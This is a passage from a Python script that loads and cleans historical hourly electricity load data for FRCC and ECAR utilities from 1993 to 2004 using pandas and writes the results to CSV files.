: pd.read_fwf('%s/frcc/1993/FMPA93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1994 : pd.read_fwf('%s/frcc/1994/FMPA94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skiprows=5).iloc[:, 1:].values.ravel(), 1995 : pd.read_fwf('%s/frcc/1995/FMPA95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skiprows=5).iloc[:, 1:].values.ravel(), 1996 : pd.read_fwf('%s/frcc/1996/FMPA96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skiprows=5).iloc[:, 1:].values.ravel(), 1997 : pd.read_fwf('%s/frcc/1997/FMPA97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skiprows=5).iloc[:, 1:].values.ravel(), 1998 : pd.read_fwf('%s/frcc/1998/FMPA98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skiprows=5).iloc[:, 1:].values.ravel(), 1999 : pd.read_fwf('%s/frcc/1999/FMPA99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skiprows=6).iloc[:, 1:].values.ravel(), 2001 : pd.read_csv('%s/frcc/2001/FMPA01' % (fulldir), header=None, sep=' ', skipinitialspace=True, skiprows=6).iloc[:, 2:-1].values.ravel(), 2002 : pd.read_csv('%s/frcc/2002/FMPA02' % (fulldir), header=None, sep='\t', skipinitialspace=True, skiprows=7).iloc[:, 1:].values.ravel(), 2003 : pd.read_csv('%s/frcc/2003/FMPA03' % (fulldir), header=None, sep='\t', skipinitialspace=True, skiprows=7).iloc[:, 1:].values.ravel(), 2004 : pd.read_csv('%s/frcc/2004/FMPA04' % (fulldir), header=None, sep=' ', skipinitialspace=True, skiprows=6, skipfooter=1).iloc[:, 1:].values.ravel() }, 6455 : { 1993 : pd.read_csv('%s/frcc/1993/FPC93' % (fulldir), sep=' ', skipinitialspace=True, header=None)[1].values, 1994 : pd.read_csv('%s/frcc/1994/FPC94' % (fulldir), sep=' ', skipinitialspace=True, header=None).iloc[:, 2:].values.ravel(), 1995 : pd.read_csv('%s/frcc/1995/FPC95' % (fulldir), engine='python', header=None)[0].values, 1996 : pd.read_excel('%s/frcc/1996/FPC96' % (fulldir), header=None, skiprows=2, skipfooter=1).iloc[:, 6:].values.ravel(), 1998 : pd.read_excel('%s/frcc/1998/FPC98' % (fulldir), header=None, skiprows=5).iloc[:, 7:].values.ravel(), 1999 : pd.read_excel('%s/frcc/1999/FPC99' % (fulldir), header=None, skiprows=4).iloc[:, 7:].values.ravel(), 2000 : pd.read_excel('%s/frcc/2000/FPC00' % (fulldir), header=None, skiprows=4).iloc[:, 7:].values.ravel(), 2001 : pd.read_excel('%s/frcc/2001/FPC01' % (fulldir), header=None, skiprows=5).iloc[:, 7:].values.ravel(), 2002 : pd.read_excel('%s/frcc/2002/FPC02' % (fulldir), header=None, skiprows=4).iloc[:, 7:].values.ravel(), 2004 : pd.read_excel('%s/frcc/2004/FPC04' % (fulldir), header=None, skiprows=4).iloc[:, 7:].values.ravel() }, 6452 : { 1993 : pd.DataFrame([i.split('\t') for i in open('%s/frcc/1993/FPL93' % (fulldir), 'r').readlines()]).iloc[:365, :24].apply(lambda x: x.str.replace('\r\n', '').str.replace('"', '').str.replace(',', '')).replace('', np.nan).astype(float).values.ravel(), 1994 : pd.DataFrame([i.split('\t') for i in open('%s/frcc/1994/FPL94' % (fulldir), 'r').readlines()]).iloc[3:, 1:13].apply(lambda x: x.str.replace('\r\n', '').str.replace('"', '').str.replace(',', '')).replace('', np.nan).astype(float).values.ravel(), 1995 : pd.DataFrame([i.split('\t') for i in open('%s/frcc/1995/FPL95' % (fulldir), 'r').readlines()[3:]]).iloc[:730, 1:13].apply(lambda x: x.str.replace('\r\n', '').str.replace('"', '').str.replace(',', '')).replace('', np.nan).astype(float).values.ravel(), 1996 : pd.DataFrame([i.split('\t') for i in open('%s/frcc/1996/FPL96' % (fulldir), 'r').readlines()[4:]]).iloc[:730, 1:13].apply(lambda x: x.str.replace('\r\n', '').str.replace('"', '').str.replace(',', '')).replace('', np.nan).astype(float).values.ravel(), 1997 : pd.DataFrame([i.split('\t') for i in open('%s/frcc/1997/FPL97' % (fulldir), 'r').readlines()[4:]]).iloc[:730, 1:13].apply(lambda x: x.str.replace('\r\n', '').str.replace('"', '').str.replace(',', '')).replace('', np.nan).astype(float).values.ravel(), 1998 : pd.DataFrame([i.split('\t') for i in open('%s/frcc/1998/FPL98' % (fulldir), 'r').readlines()[4:]]).iloc[:730, 1:13].apply(lambda x: x.str.replace('\r\n', '').str.replace('"', '').str.replace(',', '')).replace('', np.nan).astype(float).values.ravel(), 1999 : pd.DataFrame([i.split('\t') for i in open('%s/frcc/1999/FPL99' % (fulldir), 'r').readlines()[4:]]).iloc[:730, 1:13].apply(lambda x: x.str.replace('\r\n', '').str.replace('"', '').str.replace(',', '')).replace('', np.nan).astype(float).values.ravel(), 2000 : pd.DataFrame([i.split('\t') for i in open('%s/frcc/2000/FPL00' % (fulldir), 'r').readlines()[4:]]).iloc[:730, 1:13].apply(lambda x: x.str.replace('\r\n', '').str.replace('"', '').str.replace(',', '')).replace('', np.nan).astype(float).values.ravel(), 2001 : pd.DataFrame([i.split('\t') for i in open('%s/frcc/2001/FPL01' % (fulldir), 'r').readlines()[4:]]).iloc[:730, 1:13].apply(lambda x: x.str.replace('\r\n', '').str.replace('"', '').str.replace(',', '')).replace('', np.nan).astype(float).values.ravel(), 2002 : pd.DataFrame([i.split('\t') for i in open('%s/frcc/2002/FPL02' % (fulldir), 'r').readlines()[4:]]).iloc[:730, 1:13].apply(lambda x: x.str.replace('\r\n', '').str.replace('"', '').str.replace(',', '')).replace('', np.nan).astype(float).values.ravel(), 2003 : pd.DataFrame([i.split('\t') for i in open('%s/frcc/2003/FPL03' % (fulldir), 'r').readlines()[4:]]).iloc[:730, 1:13].apply(lambda x: x.str.replace('\r\n', '').str.replace('"', '').str.replace(',', '')).replace('', np.nan).astype(float).values.ravel(), 2004 : pd.DataFrame([i.split('\t') for i in open('%s/frcc/2004/FPL04' % (fulldir), 'r').readlines()[4:]]).iloc[:730, 1:13].apply(lambda x: x.str.replace('\r\n', '').str.replace('"', '').str.replace(',', '')).replace('', np.nan).astype(float).values.ravel() }, 9617 : { 1993 : pd.read_csv('%s/frcc/1993/JEA93' % (fulldir), sep=' ', skipinitialspace=True, header=None)[2].values, 1994 : pd.read_csv('%s/frcc/1994/JEA94' % (fulldir), sep=' ', skipinitialspace=True, header=None)[2].values, 1996 : pd.read_fwf('%s/frcc/1996/JEA96' % (fulldir), header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1997 : pd.read_fwf('%s/frcc/1997/JEA97' % (fulldir), header=None).iloc[:, 1:].values.ravel(), 1998 : pd.read_csv('%s/frcc/1998/JEA98' % (fulldir), sep='\t', header=None)[2].values, 1999 : pd.read_csv('%s/frcc/1999/JEA99' % (fulldir), sep='\t', header=None)[2].values, 2000 : pd.read_excel('%s/frcc/2000/JEA00' % (fulldir), header=None)[2].values, 2001 : pd.read_excel('%s/frcc/2001/JEA01' % (fulldir), header=None, skiprows=2)[2].values, 2002 : pd.read_excel('%s/frcc/2002/JEA02' % (fulldir), header=None, skiprows=1)[2].values, 2003 : pd.read_excel('%s/frcc/2003/JEA03' % (fulldir), header=None, skiprows=1)[2].values, 2004 : pd.read_excel('%s/frcc/2004/JEA04' % (fulldir), header=None, skiprows=1)[2].values }, 10376 : { 1994 : pd.read_csv('%s/frcc/1994/KUA94' % (fulldir), sep=' ', skipinitialspace=True, header=None).iloc[:, 1:].values.ravel(), 1995 : pd.read_csv('%s/frcc/1995/KUA95' % (fulldir), sep=' ', skipinitialspace=True, header=None).iloc[:, 1:].values.ravel(), 1997 : pd.read_csv('%s/frcc/1997/KUA97' % (fulldir), sep='\t', skipinitialspace=True, header=None).iloc[:, 2:].values.ravel(), 2001 : pd.read_csv('%s/frcc/2001/KUA01' % (fulldir), skiprows=1, header=None, sep=' ', skipinitialspace=True).iloc[:, 1:].values.ravel(), 2002 : pd.read_csv('%s/frcc/2002/KUA02' % (fulldir), skipfooter=1, header=None, sep=' ', skipinitialspace=True).iloc[:, 1:].values.ravel() }, 14610 : { 1993 : pd.read_fwf('%s/frcc/1993/OUC93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1994 : pd.read_fwf('%s/frcc/1994/OUC94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1995 : pd.read_fwf('%s/frcc/1995/OUC95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1996 : pd.read_fwf('%s/frcc/1996/OUC96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1997 : pd.read_fwf('%s/frcc/1997/OUC97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1998 : pd.read_fwf('%s/frcc/1998/OUC98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1999 : pd.read_fwf('%s/frcc/1999/OUC99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 2000 : pd.read_fwf('%s/frcc/2000/OUC00' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 2001 : pd.read_fwf('%s/frcc/2001/OUC01' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skiprows=2).iloc[:, 1:].values.ravel(), 2002 : pd.read_fwf('%s/frcc/2002/OUC02' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel() }, 18454 : { 1993 : pd.read_fwf('%s/frcc/1993/TECO93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skiprows=1).iloc[:, 1:].values.ravel(), 1994 : pd.read_fwf('%s/frcc/1994/TECO94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skiprows=1).iloc[:, 1:].values.ravel(), 1998 : pd.read_csv('%s/frcc/1998/TECO98' % (fulldir), engine='python', skiprows=3, header=None)[0].values, 1999 : pd.read_csv('%s/frcc/1999/TECO99' % (fulldir), engine='python', skiprows=3, header=None)[0].values, 2000 : pd.read_csv('%s/frcc/2000/TECO00' % (fulldir), engine='python', skiprows=3, header=None)[0].str[:4].astype(int).values, 2001 : pd.read_csv('%s/frcc/2001/TECO01' % (fulldir), skiprows=3, header=None)[0].values, 2002 : pd.read_csv('%s/frcc/2002/TECO02' % (fulldir), sep='\t').loc[:, 'HR1':].values.ravel(), 2003 : pd.read_csv('%s/frcc/2003/TECO03' % (fulldir), skiprows=2, header=None, sep=' ', skipinitialspace=True).iloc[:, 2:].values.ravel() }, 21554 : { 1993 : pd.read_fwf('%s/frcc/1993/SECI93' % (fulldir), header=None, skipfooter=1).iloc[:, 3:].values.ravel(), 1994 : pd.read_fwf('%s/frcc/1994/SECI94' % (fulldir), header=None, skipfooter=1).iloc[:, 3:].values.ravel(), 1995 : pd.read_fwf('%s/frcc/1995/SECI95' % (fulldir), header=None, skipfooter=1).iloc[:, 3:].values.ravel(), 1996 : pd.read_fwf('%s/frcc/1996/SECI96' % (fulldir), header=None, skipfooter=1).iloc[:, 3:].values.ravel(), 1997 : pd.read_fwf('%s/frcc/1997/SECI97' % (fulldir), header=None, skipfooter=1).iloc[:, 3:].values.ravel(), 1999 : pd.read_fwf('%s/frcc/1999/SECI99' % (fulldir), header=None, skipfooter=1).iloc[:, 3:].values.ravel(), 2000 : pd.read_fwf('%s/frcc/2000/SECI00' % (fulldir), header=None, skipfooter=1).iloc[:, 3:].values.ravel(), 2002 : pd.read_fwf('%s/frcc/2002/SECI02' % (fulldir), header=None).iloc[:, 3:].values.ravel(), 2004 : pd.read_fwf('%s/frcc/2004/SECI04' % (fulldir), header=None).iloc[:, 3:].values.ravel() } } frcc[6455][1995][frcc[6455][1995] > 10000] = 0 frcc[9617][2002][frcc[9617][2002] > 10000] = 0 frcc[10376][1995][frcc[10376][1995] > 300] = 0 if not os.path.exists('./frcc'): os.mkdir('frcc') for k in frcc.keys(): print k s = pd.DataFrame(pd.concat([pd.Series(frcc[k][i], index=pd.date_range(start=datetime.date(i, 1, 1), freq='h', periods=len(frcc[k][i]))) for i in frcc[k].keys()]).sort_index(), columns=['load']) s['load'] = s['load'].astype(float).replace(0, np.nan) s.to_csv('./frcc/%s.csv' % k) ###### ECAR # AEP: 829 # APS: 538 # AMPO: 40577 # BREC: 1692 # BPI: 7004 # CEI: 3755 # CGE: 3542 # CP: 4254 # DPL: 4922 # DECO: 5109 # DLCO: 5487 # EKPC: 5580 # HEC: 9267 # IPL: 9273 # KUC: 10171 # LGE: 11249 # NIPS: 13756 # OE: 13998 # OVEC: 14015 # PSI: 15470 # SIGE: 17633 # TE: 18997 # WVPA: 40211 # CINRGY: 3260 -> Now part of 3542 # FE: 32208 # MCCP: ecar = { 829 : { 1993 : pd.read_fwf('%s/ecar/1993/AEP93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1994 : pd.read_fwf('%s/ecar/1994/AEP94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1995 : pd.read_fwf('%s/ecar/1995/AEP95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1996 : pd.read_fwf('%s/ecar/1996/AEP96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1997 : pd.read_fwf('%s/ecar/1997/AEP97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1998 : pd.read_fwf('%s/ecar/1998/AEP98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1999 : pd.read_fwf('%s/ecar/1999/AEP99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2000 : pd.read_fwf('%s/ecar/2000/AEP00' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2001 : pd.read_fwf('%s/ecar/2001/AEP01' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2002 : pd.read_csv('%s/ecar/2002/AEP02' % (fulldir), header=None)[1].values, 2003 : pd.read_fwf('%s/ecar/2003/AEP03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2004 : pd.read_fwf('%s/ecar/2004/AEP04' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel() }, 538 : { 1993 : pd.read_fwf('%s/ecar/1993/APS93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1994 : pd.read_fwf('%s/ecar/1994/APS94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1995 : pd.read_fwf('%s/ecar/1995/APS95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel() }, 40577 : { 2001 : pd.read_fwf('%s/ecar/2001/AMPO01' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2002 : pd.read_csv('%s/ecar/2002/AMPO02' % (fulldir), header=None)[1].values, 2003 : pd.read_fwf('%s/ecar/2003/AMPO03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2004 : pd.read_fwf('%s/ecar/2004/AMPO04' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel() }, 1692 : { 1993 : pd.read_fwf('%s/ecar/1993/BREC93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1994 : pd.read_fwf('%s/ecar/1994/BREC94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1995 : pd.read_fwf('%s/ecar/1995/BREC95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1996 : pd.read_fwf('%s/ecar/1996/BREC96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1997 : pd.read_fwf('%s/ecar/1997/BREC97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1998 : pd.read_fwf('%s/ecar/1998/BREC98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1999 : pd.read_fwf('%s/ecar/1999/BREC99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2000 : pd.read_fwf('%s/ecar/2000/BREC00' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2001 : pd.read_fwf('%s/ecar/2001/BREC01' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2002 : pd.read_csv('%s/ecar/2002/BREC02' % (fulldir), header=None)[1].values, 2003 : pd.read_fwf('%s/ecar/2003/BREC03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2004 : pd.read_fwf('%s/ecar/2004/BREC04' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel() }, 7004 : { 1994 : pd.read_fwf('%s/ecar/1994/BPI94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1999 : pd.read_fwf('%s/ecar/1999/BPI99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2000 : pd.read_fwf('%s/ecar/2000/BPI00' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2001 : pd.read_fwf('%s/ecar/2001/BPI01' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2002 : pd.read_csv('%s/ecar/2002/BPI02' % (fulldir), header=None)[1].values, 2003 : pd.read_fwf('%s/ecar/2003/BPI03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2004 : pd.read_fwf('%s/ecar/2004/BPI04' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel() }, 3755 : { 1993 : pd.read_fwf('%s/ecar/1993/CEI93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1994 : pd.read_fwf('%s/ecar/1994/CEI94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1995 : pd.read_fwf('%s/ecar/1995/CEI95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1996 : pd.read_fwf('%s/ecar/1996/CEI96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel() }, 3542 : { 1993 : pd.read_fwf('%s/ecar/1993/CEI93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1994 : pd.read_fwf('%s/ecar/1994/CEI94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1995 : pd.read_fwf('%s/ecar/1995/CEI95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1996 : pd.read_fwf('%s/ecar/1996/CIN96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1997 : pd.read_fwf('%s/ecar/1997/CIN97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1998 : pd.read_fwf('%s/ecar/1998/CIN98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1999 : pd.read_fwf('%s/ecar/1999/CIN99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2000 : pd.read_fwf('%s/ecar/2000/CIN00' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2001 : pd.read_fwf('%s/ecar/2001/CIN01' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2002 : pd.read_csv('%s/ecar/2002/CIN02' % (fulldir), header=None)[1].values, 2003 : pd.read_fwf('%s/ecar/2003/CIN03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2004 : pd.read_fwf('%s/ecar/2004/CIN04' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel() }, 4254 : { 1993 : pd.read_fwf('%s/ecar/1993/CP93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1994 : pd.read_fwf('%s/ecar/1994/CP94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1995 : pd.read_fwf('%s/ecar/1995/CP95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1996 : pd.read_fwf('%s/ecar/1996/CP96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel() }, 4922 : { 1993 : pd.read_fwf('%s/ecar/1993/DPL93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1994 : pd.read_fwf('%s/ecar/1994/DPL94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1995 : pd.read_fwf('%s/ecar/1995/DPL95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1996 : pd.read_fwf('%s/ecar/1996/DPL96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1997 : pd.read_fwf('%s/ecar/1997/DPL97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1998 : pd.read_fwf('%s/ecar/1998/DPL98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1999 : pd.read_fwf('%s/ecar/1999/DPL99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2000 : pd.read_fwf('%s/ecar/2000/DPL00' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2001 : pd.read_fwf('%s/ecar/2001/DPL01' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2002 : pd.read_csv('%s/ecar/2002/DPL02' % (fulldir), header=None)[1].values, 2003 : pd.read_fwf('%s/ecar/2003/DPL03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2004 : pd.read_fwf('%s/ecar/2004/DPL04' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], 